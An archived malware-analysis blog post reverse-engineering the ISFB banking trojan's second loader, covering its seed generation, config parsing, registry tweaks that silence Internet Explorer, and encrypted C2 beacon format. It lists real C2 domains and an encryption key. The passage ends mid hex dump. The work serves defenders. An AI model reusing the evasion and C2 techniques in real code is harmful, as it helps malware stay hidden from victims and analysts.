{
	"id": "dea98e29-3e0f-4b19-b0fe-ecd00da5f57d",
	"created_at": "2026-04-06T00:08:09.515365Z",
	"updated_at": "2026-04-10T03:20:15.842576Z",
	"deleted_at": null,
	"sha1_hash": "e8fcb51ace56e9027269fbfbf51e988ddbf4aaa7",
	"title": "Analyzing ISFB – The Second Loader | 0ffset Training Solutions",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1936975,
	"plain_text": "Analyzing ISFB – The Second Loader | 0ffset Training Solutions\r\nBy 0verfl0w_\r\nPublished: 2019-05-25 · Archived: 2026-04-05 16:08:12 UTC\r\nSo it’s been quite a while since my last post, however now that my Beginner Malware Analysis Course is\r\ncomplete, the posts should be more and more frequent, although that obviously depends on the complexity of the\r\nsamples I am analyzing. If you haven’t checked out my last post on ISFB where we analyzed the first loader,\r\ncheck that out here to get some context for this part.\r\nThe second loader is part of the infection chain for a group of threat actors utilizing ISFB for financial gain, which\r\nI gave the name “Group 53”. You can read more information about this particular group in the previous post as\r\nwell, which contains a lot more detail about the group and the ISFB banking trojan itself. The second loader is in\r\nDLL format, with it being named “RPCRT4.dll” by the group, so we will be referring to the DLL with that name.\r\nThis is quite an old sample, however as I was able to analyze it previously when the C2s were still alive, I was\r\nable to grab a PCAP file containing the communication to and from the sample, so we can still debug the sample\r\nand as the data is all valid, it should stay live. Anyway, if you want to follow along with the analysis or do some\r\nanalysis on your own, all the samples have been uploaded to VirusBay. Let’s start reversing!\r\nMD5 Of RPCRT4.dll: 52b4480de6f4d4f32fba2b535941c284\r\nTaking a look at the entry point, only one function is called when the sample first executes, this being\r\nFirst_Function (sub_1D4677), with a handle to the DLL instance being pushed as the argument (pointing to the\r\nbase address of the DLL). This entry point is similar for pretty much all the samples of RPCRT4.dll that I have\r\nlooked at, so if you are analyzing a sample of ISFB and find a similar function in a new region of memory, it\r\ncould be the second loader DLL.\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 1 of 33\n\nUpon stepping into this function, you will probably recognize some similarities to the previous loader. Looking at\r\nthe pseudocode below, we can see that first a heap is created, to be used later on, and then the program gets a\r\nhandle on itself, which is used in the next function named Decrypt_BSS_Section (sub_1D55F0). As the name\r\nsuggests, this function decrypts the data in the .BSS section. It contains the same decryption function as the first\r\nloader, however due to the fact that the .BSS section is at a different address (0xC000 rather than 0x6000), the\r\nresulting decryption key will be different. After decrypting the .BSS section using the decryption script which you\r\ncan find here, we can finish looking at this function. The sample checks to see if the system is 32 or 64 bit, and\r\nthen executes the final function, named Main_Func (sub_1D6C79), before exiting. So, we need to step into\r\nMain_Func.\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 2 of 33\n\nLooking at the function Main_Func, it is clear that there are a number of different things happening inside it, so\r\nthis part will be split into a few different sections.\r\nLinear Congruential Random Number Generator (LCRNG)\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 3 of 33\n\nThroughout the execution of this second loader, one particular algorithm known as a Linear Congruential Random\r\nNumber Generator resurfaces time and time again, with it being identifiable through it’s constants. So, what is a\r\nLCRNG? Well according to Wikipedia:\r\nA linear congruential generator (LCG) is an algorithm that yields a sequence of pseudo-randomized numbers calcu\r\nNow, I’m not a mathematician, so I have no clue as to what half of these terms mean, so I will focus on how\r\nexactly I was able to locate and determine what this algorithm was.\r\nLooking at the image below, we can see that first the loader calls a function named QueryTokenInformation\r\n(sub_1D57C7), which is responsible for getting a handle to the current process token using\r\nZwOpenProcessToken() and then querying that token using ZwQueryInformationToken(), and then copying\r\nthis to a newly allocated region of memory. The queried information copied over can be seen below, and is in fact\r\nthe Security Identifier (SID) of the current user (taken from a debugger):\r\nCurrent User SID {\r\n 0x00000501, 0x05000000, 0x00000015, 0x6A80C140, 0x2065CB4C, 0xCA01B1D8, 0x000003E9,\r\n 0x00000000\r\n};\r\nOnce the querying function returns, a comparison is performed between 0x02 and the byte pointed to by\r\nebp+var_1F, which can be displayed as ebp-1F or ebp-31 (it is quite confusing, I agree). Following ebp-1F in a\r\ndebugger points to the first DWORD in the retrieved SID, specifically the 0x05. Obviously these two values don’t\r\nmatch, and so the value 0x05 is moved into eax, which is added to 0xFFFFFFFE, resulting in eax containing\r\n0x03. This is then used in the loop just after, where the loader adds the fourth, fifth, and sixth DWORD in the SID\r\ntogether, which is then stored in the DWORD I have named Generated_Seed. Upon adding these values, we get\r\n0x154E83E64, which in DWORD format would be 0x54E83E64.\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 4 of 33\n\nThen, the calculated value is XOR’d with the value 0xCF8558FC, giving the final seed 0x9B6D6698. The loader\r\nthen initializes a critical section, moving the string 0123456789ABCDEF into a newly allocated region of\r\nmemory. This particular string resembles the default RC6 encryption/decryption key, which was used prior to\r\nSerpent being implemented.\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 5 of 33\n\nThe next function called is named Get_Machine_User_Name_Gen_Value (sub_1D4BBE), and contains the first\r\nLCRNG function in the binary. In the psuedocode, we can see that the function Random_Value_Generator\r\n(sub_1D5D69) takes 2 arguments: the previously generated seed, and an empty region of memory. Based on the\r\nXOR operations below, we can assume that this empty region of memory will contain the randomly generated\r\nvalues. Before we check out the LCRNG function, let’s finish up analyzing this function. We can see that the\r\nloader calls GetUserNameW() and GetComputerNameW(), before performing a CRC32 calculation (same\r\nCRC32 function as the previous loader) on the Username and Computer Name. The results of the CRC32 hashing\r\nare XOR’d with the first (Alloc_Memory) and fourth (Alloc_Memory[3]) DWORD of the LCRNG value. Finally,\r\nthe second DWORD of the randomly generated value is XOR’d with the result of XORing the values in eax, ecx,\r\nand edx after calling cpuid(). So, now we have an idea of this function, let’s examine the LCRNG.\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 6 of 33\n\nThe LCRNG function is quite small, and so doesn’t stand out as well as something like Serpent for example.\r\nTaking a look at the assembly or psuedocode of the function, we can get a good idea of what is going on.\r\nSpecifically, two values stand out: 0x19660D and 0x3C6EF35F. After searching for either one of these two values\r\nwe can find references to their usage in other variants of malware, specifically PowerSniff, PoSlurp, and\r\nShellTea, two of which are PoS malware, and one being similar to ISFB itself. After some more searching, I\r\ncame across this video (1:06) from 2016, which explains how this particular algorithm works – except in the\r\ncontext of Super Mario 64 on the Nintendo DS. Whilst the other variants of malware utilize the algorithm to\r\ndecrypt strings or encrypt stolen data, this loader simply uses it for generating a randomized value. Using all of the\r\ninformation we have found, we can replicate the algorithm using these values:\r\nRNG Seed = 0x9B6D6698\r\nRNG Adder = 0x3C6EF35F\r\nRNG Multiply = 0x0019660D\r\nAs we are able to debug the sample, we can take the quick route and simply put a breakpoint on the function\r\nreturn, and run until we hit it. From doing so three times, I was able to get 3 different values, however I did get a\r\nfew repeats – this is due to the fact that there is a seed involved, so there is a high chance that there could be\r\nduplicates (*I think*). These are the three different, but similar, values that were generated:\r\n1: 17 B9 B5 BC 8A 83 61 9D 4C 3B 5E 25 40 9F 72 29\r\n2: 17 B9 B5 BC 8A 83 61 9D 4C 3B 5E 25 9F 72 29 74\r\n3: 17 B9 B5 BC 8A 83 C0 90 1F F2 A9 F4 C3 46 ED 68\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 7 of 33\n\nIn this example, we will be using one to calculate the end result of the function:\r\n17 B9 B5 BC 8A 83 61 9D 4C 3B 5E 25 40 9F 72 29\r\nAs mentioned, it XORs the first DWORD (bytes swapped) with the CRC hash of the username, so for my virtual\r\nmachine, the calculation was: 0xBCB5B917 ^ 0x510E019D. This then overwrites the first DWORD, resulting in\r\nthis:\r\n 8A B8 BB ED 8A 83 61 9D 4C 3B 5E 25 40 9F 72 29\r\nNext, it XORs the last DWORD with the CRC hash of the system name, so the calculation was: 0x29729F40 ^\r\n0xADAC6654. Once again, it overwrites the DWORD, resulting in:\r\n 8A B8 BB ED 8A 83 61 9D 4C 3B 5E 25 14 F9 DE 84\r\nFinally, it XORs the second DWORD with the result of eax ^ ecx ^ edx after calling cpuid(), so the calculation\r\nwas:\r\n0x9D61838A ^ 0xC9D3D67E, which again overwrites the DWORD, resulting in the final “string”:\r\n8A B8 BB ED F4 55 B2 54 4C 3B 5E 25 14 F9 DE 84\r\nThis final value is stored in the variable Generated_Value, ready for use later on. So, that sums up the LCRNG\r\nfunction, let’s jump back to the calling function, and onto the next section.\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 8 of 33\n\nParsing The Configuration\r\nThe next function to analyze is named Parse_JJ_And_Config (sub_1D66E3), and as the name suggests, focuses\r\non parsing the joined configuration (AKA Client_INI). I have gone over how the JJ structures are parsed in the\r\nprior post, and so in this post we will be looking at how the configuration itself is parsed. Looking at the\r\npseudocode for this function, there are two important functions; Parse_JJ_Structure (sub_1D740D) and\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 9 of 33\n\nParse_Config (sub_1D2DCD). You’ll also notice that Parse_JJ_Structure is called twice – this is due to the fact\r\nthat the second loader contains two lots of joined data – a Public RSA Key, and the configuration, hence why you\r\ncan see the variable RSA_Key.\r\nAfter decompressing both the RSA Key and configuration, we are left with these hex dumps below:\r\nDecompressed RSA Pub. Key {\r\n 0x00, 0x02, 0x00, 0x00, 0xE0, 0x64, 0x63, 0x8D, 0x56, 0xB4, 0x69, 0x04, 0x16, 0x10, 0x0B, 0xF5,\r\n 0x05, 0x57, 0x54, 0x21, 0x64, 0xBA, 0x8E, 0x6E, 0xE2, 0x7A, 0xAD, 0x15, 0xF9, 0x7C, 0x1F, 0x79,\r\n 0xA8, 0xC8, 0x39, 0x75, 0xE1, 0x29, 0x1C, 0x37, 0x15, 0xC5, 0x15, 0x69, 0xB0, 0x20, 0x4F, 0x2B,\r\n 0x4D, 0x3C, 0xF8, 0x1F, 0x38, 0x06, 0x02, 0x8D, 0xD0, 0x1D, 0x15, 0x7C, 0x87, 0xF7, 0xF9, 0x1D,\r\n 0xDB, 0x6D, 0xB1, 0xE5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x01, 0x00, 0x01\r\n};\r\nDecompressed Configuration {\r\n 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0xEB, 0x5B, 0x65, 0x01, 0x00, 0x00, 0x00,\r\n 0x20, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0xF6, 0x5B, 0x66, 0xD0, 0x01, 0x00, 0x00, 0x00, 0x09, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0x79, 0x6B, 0x65, 0x01, 0x00, 0x00, 0x00,\r\n 0x20, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x8F, 0xED, 0x6A, 0x55, 0x01, 0x00, 0x00, 0x00, 0x0D, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x69, 0xA8, 0x4F, 0x01, 0x00, 0x00, 0x00,\r\n 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 10 of 33\n\n0x7F, 0x1C, 0x27, 0x11, 0x01, 0x00, 0x00, 0x00, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0x57, 0x29, 0x48, 0x01, 0x00, 0x00, 0x00,\r\n 0xDC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x25, 0x59, 0x4E, 0x58, 0x01, 0x00, 0x00, 0x00, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x73, 0x17, 0x73, 0x01, 0x00, 0x00, 0x00,\r\n 0xB1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x68, 0x0E, 0x85, 0xCD, 0x01, 0x00, 0x00, 0x00, 0xB7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0xFA, 0x1E, 0xC6, 0x01, 0x00, 0x00, 0x00,\r\n 0xAA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x88, 0x74, 0x2E, 0xDF, 0x01, 0x00, 0x00, 0x00, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x71, 0x66, 0x65, 0x6C, 0x69, 0x63, 0x69,\r\n 0x61, 0x6C, 0x65, 0x77, 0x2E, 0x63, 0x69, 0x74, 0x79, 0x20, 0x6D, 0x7A, 0x67, 0x34, 0x39, 0x35,\r\n 0x38, 0x6C, 0x63, 0x2E, 0x63, 0x6F, 0x6D, 0x20, 0x67, 0x78, 0x75, 0x78, 0x77, 0x6E, 0x73, 0x7A,\r\n 0x61, 0x75, 0x2E, 0x62, 0x61, 0x6E, 0x64, 0x00, 0x33, 0x31, 0x38, 0x34, 0x00, 0x31, 0x32, 0x00,\r\n 0x31, 0x30, 0x32, 0x39, 0x31, 0x30, 0x32, 0x39, 0x4A, 0x53, 0x4A, 0x55, 0x59, 0x4E, 0x48, 0x47,\r\n 0x00, 0x31, 0x30, 0x00, 0x32, 0x30, 0x00, 0x30, 0x00, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x69, 0x74,\r\n 0x75, 0x74, 0x69, 0x6F, 0x6E, 0x2E, 0x6F, 0x72, 0x67, 0x2F, 0x75, 0x73, 0x64, 0x65, 0x63, 0x6C,\r\n 0x61, 0x72, 0x2E, 0x74, 0x78, 0x74, 0x00, 0x30, 0x78, 0x34, 0x65, 0x62, 0x37, 0x64, 0x32, 0x63,\r\n 0x61, 0x00, 0x63, 0x6F, 0x6D, 0x20, 0x72, 0x75, 0x20, 0x6F, 0x72, 0x67, 0x00, 0x31, 0x30, 0x00,\r\n 0x00\r\n};\r\nIf you’re looking for a quick way to extract the config, or scripts that can be used to automate the extraction of\r\nIOCs or decryption of data with regards to ISFB, you can check out my basic toolkit for doing so here.\r\nNow we have both the RSA key and Config, let’s examine how the configuration is parsed.\r\nLooking at Parse_Config, it takes one argument, which is the result of XORing the “pnls” key that was\r\nmentioned in the previous post, with a certain embedded value. From closer research into ISFB and looking at the\r\nopen source version, it is clear that the “pnls” key is in fact referred to as a CS_COOKIE, and so that is the term I\r\nwill be using. In one instance, we can see the CS_COOKIE being XOR’d with the embedded value 0x160717FA,\r\nwhich results in the value 0x656B798A. If you look hard at the decompressed configuration above, you will\r\nprobably locate the same hex value, although backwards: 0x8A796B65. This is due to the fact that the\r\nconfiguration acts as a lookup table, pointing to the real configuration data such as the URLs or Botnet ID – this\r\nmeans the loader doesn’t have to search the entire config to locate a certain value, and instead it can get the offset\r\nfor that value. Luckily, we are able to determine what value corresponds to what, thanks to the work previously\r\ndone by @Maciekkotowicz:\r\ncrc_table = {\r\n \"0x556aed8f\": \"server\",\r\n \"0xea9ea760\": \"bootstrap\",\r\n \"0xacf9fc81\": \"screenshot\",\r\n \"0x602c2c26\": \"keyloglist\",\r\n \"0x656b798a\": \"botnet\",\r\n \"0xacc79a02\": \"knockertimeout\",\r\n \"0x955879a6\": \"sendtimeout\",\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 11 of 33\n\n\"0x31277bd5\": \"tasktimeout\",\r\n \"0x18a632bb\": \"configfailtimeout\",\r\n \"0xd7a003c9\": \"configtimeout\",\r\n \"0x4fa8693e\": \"key\",\r\n \"0xd0665bf6\": \"domains\",\r\n \"0x75e6145c\": \"domain\",\r\n \"0x6de85128\": \"bctimeout\",\r\n \"0xefc574ae\": \"dga_seed\",\r\n \"0xcd850e68\": \"dga_crc\",\r\n \"0x73177345\": \"dga_base_url\",\r\n \"0x11271c7f\": \"timer\",\r\n \"0x584e5925\": \"timer\",\r\n \"0x48295783\": \"timer\",\r\n \"0xdf351e24\": \"tor32_dll\",\r\n \"0x4b214f54\": \"tor64_dll\",\r\n \"0x510f22d2\": \"tor_domains\",\r\n \"0xdf2e7488\": \"dga_season\",\r\n \"0xc61efa7a\": \"dga_tld\",\r\n \"0xec99df2e\": \"ip_service\"\r\n}\r\nUsing this lookup table, we can see that the loader parses several values; Timer1, Timer2. Timer3, BotnetID,\r\nServer, Key, and Domains. The timers are not extremely important, however the other values are. The Botnet ID is\r\na number corresponding to the ID assigned to the botnet that the loader is a part of – some groups tend to use the\r\nsame IDs, such as the group utilizing Hancitor using the same value 2000 – although this group typically alter the\r\nvalues, but still remain in the 3xxx region. This loader contains the botnet ID 3184. The Server seems to be used\r\nonly in the data posted to the C2 server, and it simply is a server identifier, which is usually set to 12. The key is\r\nthe Serpent encryption key to use for encrypting all traffic to the server, and in this case it is\r\n10291029JSJUYNHG. Finally, the Domains are a list of C2 servers that the loader can reach out to in order to get\r\nthe next stage. In this loader, the C2 servers are; qfelicialew.city, mzg4958lc.com, and gxuxwnszau.band. Whilst\r\nwe do know what each value represents, let’s take a look at how the loader parses the config, so that we can\r\nautomate it.\r\nLooking at the assembly of the function, we can see the parsing function is quite simple. First, the loader checks to\r\nsee if the value in some_counter is less than the number of entries in the configuration, which can be found as the\r\nfirst byte in the configuration – in this case it is 0x0C, meaning there are 12 different values. It then looks at the\r\nDWORD pointed to by ecx-8, which in the first loop is only 8 bytes into the config. This DWORD is compared to\r\nthe CS_COOKIE XOR value stored in xor_value. If these values don’t match, some_counter is incremented by\r\n1, and 24 is added to ecx, before looping back around. If the values do match, the DWORD at ecx-4 is used in a\r\nlogical AND operation with the value 0x01. In this loader, each DWORD after the one compared to xor_value\r\ncontains the value 0x01, and as 1 \u0026 1 = 1, the jump condition is never met. Therefore, the value of esi+ecx is\r\nmoved into eax, and on the first loop, this is equal to 0x78. The value in eax is then added to the offset pointed to\r\nby ecx, which on the first loop is 0xF1, resulting in the value in eax being 0x169. 0x08 is added to this value,\r\nwhich is finally added to the base of the config in order to get the correct value.\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 12 of 33\n\nTo understand it better, you can see a psuedocode version below:\r\nESI = 0xFFFFFFF0 - Config_Address\r\nECX = Config_Address + 16\r\nCounter = 0\r\nCRC_Val = arg_0\r\nwhile Counter \u003c Num_Config_Entries:\r\n Config_CRC = [ECX-8] # Point to config CRC val\r\n if Config_CRC== CRC_Val:\r\n if [ECX-4] \u0026 1 == 0:\r\n EAX = [ECX]\r\n else:\r\n EAX = ESI + ECX\r\n EAX = EAX[-8:] # Get Lower 8 bytes (32 bit machine)\r\n EAX = EAX + [ECX]\r\n Pointer_To_Data = [EAX + Config_Address + 8]\r\nCounter = Counter + 1\r\nECX = ECX + 24\r\nif EAX \u0026 EAX == 0:\r\n return Pointer_To_Data\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 13 of 33\n\nUsing the information in this function, we can understand how the configuration lookup part is constructed:\r\nConfig Lookup Structure (Typically followed by 3 DWORDs of 0x00's) {\r\n DWORD CRC_Name\r\n DWORD Flags\r\n DWORD Offset\r\n};\r\nConfig Lookup Structure Example {\r\n 0x655BEB58,\r\n 0x00000001,\r\n 0x00000120\r\n};\r\nOnce the URLs have been located in the config, they are split into individual URLs for easier access – you’ll\r\nnotice in the hex dump that each URL is split with 0x20, which corresponds to a space.\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 14 of 33\n\nSo, now we have looked at how the configuration works in ISFB and how it is parsed by the loader, we can move\r\nonto the next section/function – Network Communication and the Next Stage.\r\nNetwork Communication and the Next Stage\r\nOnce the loader has finished with the config, it returns back to the previous function and calls the next one, which\r\nI have labelled Retrieve_And_Setup_Next_Stage (sub_1D76ED), and this function is where things start to\r\nbecome quite interesting with the usage of COM API to perform certain tasks. I have already gone over how the\r\nsecond loader utilizes COM to connect to it’s C2 server through Internet Explorer in a previous post, which you\r\ncan find here, and so I will only briefly touch on the COM API usage in the sample.\r\nInside the Retrieve_And_Setup_Next_Stage function, there are 3 important functions, with the first one being\r\nnamed Registry_COM (sub_1D6E8A), the second being Talk_To_C2 (sub_1D553A), and the final being\r\nSetup_And_Exec_Next_Stage (sub_1D79B1).\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 15 of 33\n\nAs the name suggests, Registry_COM involves the loader interacting with the registry using COM API. When I\r\nwas analyzing the sample, I noticed it would crash and get stuck on one of the COM calls, and it only seemed to\r\nwork when running from the original executable, rather than the dumped DLL. The main purpose of this function\r\nis to prepare Internet Explorer before it is used to communicate to the C2 server. It does so by altering 3 registry\r\nkeys:\r\nSOFTWARE\\Microsoft\\Internet Explorer\\Main\\IE10RunOnceLastShown_TIMESTAMP\r\nSOFTWARE\\Microsoft\\Internet Explorer\\Main\\IE8RunOnceLastShown_TIMESTAMP\r\nSOFTWARE\\Microsoft\\Internet Explorer\\Main\\Check_Associations\r\nThe first two are timestamps, which are altered using the result of GetSystemTimeAsFileTime(). This is to\r\ninform Internet Explorer that it was opened just a few seconds ago, so that it doesn’t pop up any unwanted\r\nmessage boxes that pop up every now and then. The final registry key is used to let Internet Explorer know if the\r\nuser wants to see the “Internet Explorer isn’t your default browser” upon each restart. By default this is set to yes,\r\nbut this loader sets it to no, so that the communication phase runs silently. If you are interested in learning more\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 16 of 33\n\nabout how the sample uses COM for tasks like altering the registry, I highly recommend downloading it and\r\nanalyzing it further, as there aren’t many resources out there focused on COM API in malware, and this is a great\r\nsample to learn from.\r\nNow we move onto the Talk_To_C2 function. This function is comprised of two parts – a send/receive function\r\n(sub_1D43CC), and a decrypt/verify function (sub_1D6547). First, lets take a look at the send/receive function.\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 17 of 33\n\nFirstly, for each connection made to a command and control server, this loader edits a string that is posted to the\r\nserver. This string contains information about the loader itself, as well as a GUID for the user. The reason I used\r\nthe term “edit” is because the string that is used is stored inside the BSS section, although placeholders are used,\r\nrather than actual values. The string in question can be seen below:\r\nsoft=%u\u0026version=%u\u0026user=%08x%08x%08x%08x\u0026server=%u\u0026id=%u\u0026crc=%x\u0026uptime=%u\r\nThe loader then uses wsprintf() to fill in the string, using the correct values. The soft and version are hardcoded\r\ninto the loader, the user is the previously generated value, the server and id are taken from the configuration, the\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 18 of 33\n\ncrc is taken from the result of a call to GetTickCount(), and the uptime is the result of a call to\r\nQueryPerformanceFrequency() and QueryPerformanceCounter(). Once all is complete, it should look similar\r\nto the string below:\r\nsoft=3\u0026version=214062\u0026user=8ab8bbedf455b2544c3b5e2514f9de84\u0026server=12\u0026id=3184\u0026crc=1\u0026uptime=6367\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 19 of 33\n\nNext, the string is encrypted and encoded using Serpent CBC encryption and Base64 Encoding. The key used to\r\nencrypt it can be found in the configuration, and in this case the key is 10291029JSJUYNHG. Before doing so, a\r\nrandom string is prepended to the string so that there are no similarities in the data sent to different C2’s – this\r\nprevents analysts from writing rules to specifically search for the encrypted packet as it always differs. An\r\nexample of a random string prepended can be seen below.\r\nDecrypted + Decoded string:\r\nphg=srlp\u0026soft=3\u0026version=214062\u0026user=8ab8bbedf455b2544c3b5e2514f9de84\u0026server=12\u0026id=3184\u0026crc=1\u0026uptime=6367\r\nEncrypted + Encoded string:\r\ni3J0eyZZBqiCnYVeSU5uAc0Wn9PO9cfNdjb7eSLG2GFV1SGx+Spn6KJ9qlLDRx6InJvmuN/hh376/+9SAqnsRrtozyV8MaAuXt1It1fou+wKQwZS\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 20 of 33\n\nTo finalize the string before sending, the loader cleans it up a bit, removing values such as + and / and replacing\r\nthem with _2B and _2F respectively. The =‘s are also removed. Finally, using the random value generator, it adds\r\nslashes to the string in random places, before prepending /images/ and appending .avi, resulting in a string similar\r\nto the one below:\r\n/images/i3J0eyZZBqiCnYVeSU5u/Ac0Wn9PO9cfNdjb7eSL/G2GFV1SGx_2BSpn6KJ9qlL/DRx6InJvmuN_2/Fhh376_2/F_2B9SAqnsRrtozy\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 21 of 33\n\nOnce the string is complete, it is appended to the URL, and then the sample uses COM functionality\r\n(sub_1D6F57) to communicate through Internet Explorer – so looking at Process Hacker, you will notice that\r\nInternet Explorer is making connections, even though it is not open – this is actually the loader connecting to the\r\nC2. If you want to find more about how it does this, check out a previous post here.\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 22 of 33\n\nWhilst the C2 servers are down and have been for a while, we are able to use tools such as InetSim to our\r\nadvantage and replay the packets to the malware, meaning we can debug it completely, rather than the sample\r\nexiting after failing to retrieve the next stage. This is only possible if you have a valid PCAP though, and luckily I\r\nmade sure to have Wireshark running while I analyzed it initially. Once the data has been received by the loader,\r\nthe send/receive function Base64 decodes the data and returns, and if the data is valid, the decrypt/verify function\r\nis called, so let’s move into that.\r\nThe decrypt/verify function is fairly simple to understand if you know what algorithms are being used. It is\r\ncommonly known that ISFB utilizes Serpent CBC Encryption, and that is no different in this loader. However,\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 23 of 33\n\nwhat you may not realize is that there is another decryption function called before the data is decrypted with\r\nSerpent – this is because the data that is decrypted by the first function contains 3 important things; the MD5 hash\r\nof the decrypted data, the Serpent key used to decrypt the data, as well as the size of the data to decrypt (a lot of\r\nthe data in the data received is simply junk code). Looking at the image below, you can probably guess that it has\r\nsomething to do with RSA. And you would be right! Before initiating the decryption of the downloaded data, the\r\nloader copies the joined RSA key to a different region of memory, which is then pushed as the last argument to the\r\nfunction RSA_Serpent_MD5_Data (sub_1D2C60). We can also determine that in some samples, the “on-board”\r\nRSA key is encrypted, as we can see the variable dword_1DB25C is being used in an if() statement, which\r\nperforms a rotating XOR algorithm on the RSA key. In this sample, that isn’t the case, so let’s step into the\r\nRSA_Serpent_MD5_Data function.\r\nExamining the psuedocode of what seems to be the main decryption function, there are three main functions here.\r\nIt is quite difficult to follow what actually happens, due to the layout of the code and the LABEL_xx, but here is a\r\nquick summary of what happens: First, RSA_Decrypt_Block (sub_1D5213) is called, and the fourth argument of\r\nthis function tells us that the loader is only looking at the last 64 bytes of the data – v4 is the pointer to the\r\nreceived data, and a1 is the size of the data. Therefore, if the data is 4064 bytes long, the fourth argument would\r\nbe v4[4000]. Once the last 64 bytes have been RSA decrypted, the loader extracts the serpent key for decryption,\r\nthe size, and MD5 hash, before calling the Serpent (sub_1D52B4) function, with the last argument being 0,\r\nindicating the data is to be decrypted. Once the data has been decrypted fully, MD5_Decrypted_Executable\r\n(sub_1D2419) is called, which calculates the MD5 of the decrypted data. From there, it compares each DWORD\r\nof both MD5 hashes, and as long as they both match, it will return successfully – otherwise it will clear the\r\ndecrypted data from memory and return.\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 24 of 33\n\nLast 64 bytes of data - Encrypted {\r\n 0x8B, 0x2B, 0x4F, 0x6B, 0xD8, 0xEF, 0xE3, 0x6A, 0x84, 0x11, 0x85, 0xDB, 0xAD, 0x4D, 0x36, 0x51,\r\n 0x33, 0xC9, 0xCC, 0xAA, 0xCD, 0xCA, 0x72, 0x98, 0xB6, 0x15, 0x19, 0x19, 0xB3, 0x64, 0x4C, 0x82,\r\n 0xF1, 0x72, 0x50, 0x57, 0xAC, 0x1C, 0x43, 0x82, 0xAB, 